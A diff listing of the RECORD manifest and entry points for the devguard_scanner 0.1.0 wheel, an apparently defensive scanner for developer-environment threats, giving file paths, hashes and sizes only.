devguard/ai/prompts.py,sha256=rNsNKKGWujXBWheCIgMbwCByxzyaob1fXS91eLWJk2Q,5313
|
|
6
|
+
devguard/ai/registry.py,sha256=GVnA8sm8dwU-BawIfIoc74ESaa5VbcDTzRFkPWPsTYI,6335
|
|
7
|
+
devguard/ai/run.py,sha256=caSwXjAyBvjX4O9oGHhY6B3UAtyrcDpZ5TuFZP0UeU8,4574
|
|
8
|
+
devguard/ai/sdk.py,sha256=ilRyC7FWQgm0v9kkknXLjUQfunR-TNRYHMpWWr5ntIE,3122
|
|
9
|
+
devguard/ai/testing.py,sha256=3VtugRlKQ0VF5zrX2PjV2E1lKdae94eesToIlHZQw6M,4637
|
|
10
|
+
devguard/ai/tools.py,sha256=3V6Fa8_LLIFLMExujnJwtIDW0E4it5hP3toQwL_H1_8,14478
|
|
11
|
+
devguard/ai/providers/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
12
|
+
devguard/ai/providers/anthropic.py,sha256=5-AHoDIsA3Y7PZ5pNOJVS5YqlSyV76MlMZkoKtLB0D0,6821
|
|
13
|
+
devguard/ai/providers/openai_compat.py,sha256=t2Iy8uCaZNzqv7pgGM7ORVq_f-AdQoa936ekQkxXjjk,6611
|
|
14
|
+
devguard/analyzers/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
15
|
+
devguard/analyzers/base.py,sha256=0XCC1U6EvYcmYGVpcPsqy0_oOFzCcuxgoB058-m95G0,4390
|
|
16
|
+
devguard/analyzers/carriers.py,sha256=C4g2tiPsFhEvTntX4fTDysolcpcXciM0AJEN3x3i4P4,11811
|
|
17
|
+
devguard/analyzers/command.py,sha256=bptEm5Ex2HiK6p2FN6tPquumO1fu4PTib1glOTJ-vTQ,12442
|
|
18
|
+
devguard/analyzers/content.py,sha256=O9cjW7t6-JEnwjwG8UsXJJkS03mInppaiB9QrHooUPY,8552
|
|
19
|
+
devguard/analyzers/filesystem.py,sha256=BM2kjwY-mbZ6aGDbhToAzcbjSnzJFN5qI_lyphKTsDE,5023
|
|
20
|
+
devguard/analyzers/hidden.py,sha256=twlneGIgbohU1nMmr5NXKRBs7JS4LftBAvWNjipzjQ4,9939
|
|
21
|
+
devguard/analyzers/imports.py,sha256=gga66Ejd-O5AMLLPq87M1nlkC_VVqJTtrq3MgfFN-Og,3875
|
|
22
|
+
devguard/analyzers/jsonc.py,sha256=6AY2QvkCLxUYOO7HbIIUXwuPH3hmPESVTng7zBg0ov4,7402
|
|
23
|
+
devguard/analyzers/surfaces/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
24
|
+
devguard/analyzers/surfaces/ai_assistants.py,sha256=x2uRr46XYdCFSCqVKAwnk7VtRNp2FA_aA12PbuoDQ88,11599
|
|
25
|
+
devguard/analyzers/surfaces/autoload.py,sha256=t_KZ8ucRtXQmVyW6gJpQPOmjFKr4AZhfYLrCVcxNOPM,4962
|
|
26
|
+
devguard/analyzers/surfaces/common.py,sha256=9wc4WSE37G3hxNzl85QO-pIZhHzx13C4ZHJ1FiTUq1g,7682
|
|
27
|
+
devguard/analyzers/surfaces/deps.py,sha256=6g34JqZ17mQ3u7kGQ_jN0bl6Za1V2q7uvtLMdpbefG8,6638
|
|
28
|
+
devguard/analyzers/surfaces/devcontainer.py,sha256=Uo4PKukhVgrxxbJjpNLviFFtjhuFbwnAHzEDCf954dI,7500
|
|
29
|
+
devguard/analyzers/surfaces/env.py,sha256=FAe2ae0GkRO8aEw2lvc5NTllyPQlZwz88YGR0Z7K8Lk,1904
|
|
30
|
+
devguard/analyzers/surfaces/git.py,sha256=xwcbj4MdV2Zvn4ii7uPdwPVrPxruOjx8fBlFvcmgxdA,9002
|
|
31
|
+
devguard/analyzers/surfaces/npm.py,sha256=RJkr8xm9fAIDzWZW7jevgvuHpBZqVlFYSEUZiBY7qik,12223
|
|
32
|
+
devguard/analyzers/surfaces/python_pkg.py,sha256=PHP0jIcfSyCqlDiVRKZEK07mNB1CfizpuYsol2SqwIY,5494
|
|
33
|
+
devguard/analyzers/surfaces/vscode.py,sha256=mmo50W5nzcoQKp6XG_6kPzMS1kpnI5wtKNunn1E6Lkk,21081
|
|
34
|
+
devguard/core/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
35
|
+
devguard/core/config.py,sha256=P2igrTVebTQ0m29o25jyFNCAvNc3y61JnqajtGaTYxs,5040
|
|
36
|
+
devguard/core/filetype.py,sha256=4jdXDt3bpokjegd5EUFHXl39jgW8CJxymUU0AkDmSjU,8563
|
|
37
|
+
devguard/core/models.py,sha256=mDhSvKWQXLUN6Blh5Kva51EByt_vuaIi2848y9zFxeg,5603
|
|
38
|
+
devguard/core/redact.py,sha256=CJVQufViwQiGkzRw3eRN-As3BHDTm6H3QrDfG4Lt3T4,2521
|
|
39
|
+
devguard/core/safefs.py,sha256=ijC7jxc18JWGTydSa4F_fxG_f8P36Esk4Zoxef5va6s,10746
|
|
40
|
+
devguard/core/scoring.py,sha256=rR3IgUXob2MJ10bOP_dtVc0TtgiyWgFZYc1D-4l9W8Q,2547
|
|
41
|
+
devguard/core/service.py,sha256=nay8dcq2XlwhuM323WeCDcyI3nRHa3GJ2tP9mKA7FJU,8055
|
|
42
|
+
devguard/correlate/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
43
|
+
devguard/correlate/chains.py,sha256=Jj7CeY_BBfGHf1cW7Nl53aorF4mGQ5-xFYrkGqQ6tGw,6649
|
|
44
|
+
devguard/mcp/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
45
|
+
devguard/mcp/server.py,sha256=Fl07jA6CFGb5BmqxTQzyitBKmmhtZuicPAW6NCq1ZiI,20089
|
|
46
|
+
devguard/report/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
47
|
+
devguard/report/escape.py,sha256=uFWFSE1EhWk0tOBO4y15rFrcg-Uot_Qdakqv8gWVZn0,1195
|
|
48
|
+
devguard/report/markdown.py,sha256=9HYSh0EylQKZgE2pcpOuqWWi5s8vLUxO_z5k1VrDWfc,8918
|
|
49
|
+
devguard/report/sarif.py,sha256=Jemo_ovPAHxggEBq3W8oqGTiego3T82FAMaP8liH8vc,3194
|
|
50
|
+
devguard/report/terminal.py,sha256=f7Ly6kNro1wNyGXAfekmzsZfxRktFV9ZtiuTT7rZO-k,1806
|
|
51
|
+
devguard/report/writer.py,sha256=7fPlKO4L7dP1nb7zRTRT7aKDwPhkyYB28aYdxJkA__8,1887
|
|
52
|
+
devguard/rules/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
53
|
+
devguard/rules/catalog.py,sha256=q5s1qyq5uiAPUNZ5KwQYiXmFTIP2AioBmNdTIjDN90I,2783
|
|
54
|
+
devguard/rules/content/ai_instructions.yaml,sha256=GlbUZZRqaUNcIuTlyo_WFaWB-DaKZyn5tZoxOf7Pfao,5288
|
|
55
|
+
devguard/rules/content/cross_language.yaml,sha256=B7Pb-rG8uFBXw-P-6_rZosmYpFppo34QCBRtDgYDFh8,9665
|
|
56
|
+
devguard/rules/content/docs.yaml,sha256=JPqoJVOMNlWS0D72EoHj366dUF_14NPPWYyY5o9HM0w,2959
|
|
57
|
+
devguard/rules/content/javascript.yaml,sha256=0WR0PdM6SzSwfaEX1zGkVfoeBaZvjS67SP69ydm-12o,6782
|
|
58
|
+
devguard/rules/content/obfuscation.yaml,sha256=V5LPPuRhqzT0qbguzzG1baV8Wwo8rrmx7vZfSflBIcc,5521
|
|
59
|
+
devguard/rules/content/python.yaml,sha256=jKZQIuM5aJv2ALqsQSWEway1hbV-VjhDdTRDrx2aqJI,5153
|
|
60
|
+
devguard/rules/content/shell.yaml,sha256=UCIdg1sHXWPRPT8cIWDkHb6silhxCTcVZ3_GO0EYZuM,3986
|
|
61
|
+
devguard/rules/content/windows.yaml,sha256=RveR6Td4wmIfBBMzpO_xSQpuMFefwU34BWYTCUY58U4,3622
|
|
62
|
+
devguard/rules/data/vscode_settings.yaml,sha256=mKD9hFn9wyB9GkD2Egcy6hIFem4DsDRolFxXkEFoK2M,1918
|
|
63
|
+
devguard_scanner-0.1.0.dist-info/METADATA,sha256=kc-GIPEuyfplWsgUIMRq1IWuY3ISiw1L4ftMJG45_cY,3614
|
|
64
|
+
devguard_scanner-0.1.0.dist-info/WHEEL,sha256=W3fkpkm7-wf9vBI5Z-7s0eWkeM-spu78I8Neb98DeEg,87
|
|
65
|
+
devguard_scanner-0.1.0.dist-info/entry_points.txt,sha256=n6ppyZCnhPEULRWQ2eJg2-QOdb9obMUeeHd2mY89ygM,266
|
|
66
|
+
devguard_scanner-0.1.0.dist-info/licenses/LICENSE,sha256=xx0jnfkXJvxRnG63LTGOxlggYnIysveWIZ6H3PNdCrQ,11357
|
|
67
|
+
devguard_scanner-0.1.0.dist-info/RECORD,,
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
[console_scripts]
|
|
2
|
+
devguard = devguard.cli:main
|
|
3
|
+
|
|
4
|
+
[devguard.ai_providers]
|
|
5
|
+
anthropic = devguard.ai.providers.anthropic:make_provider
|
|
6
|
+
openai = devguard.ai.providers.openai_compat:make_openai_provider
|
|
7
|
+
openai-compatible = devguard.ai.providers.openai_compat:make_provider
|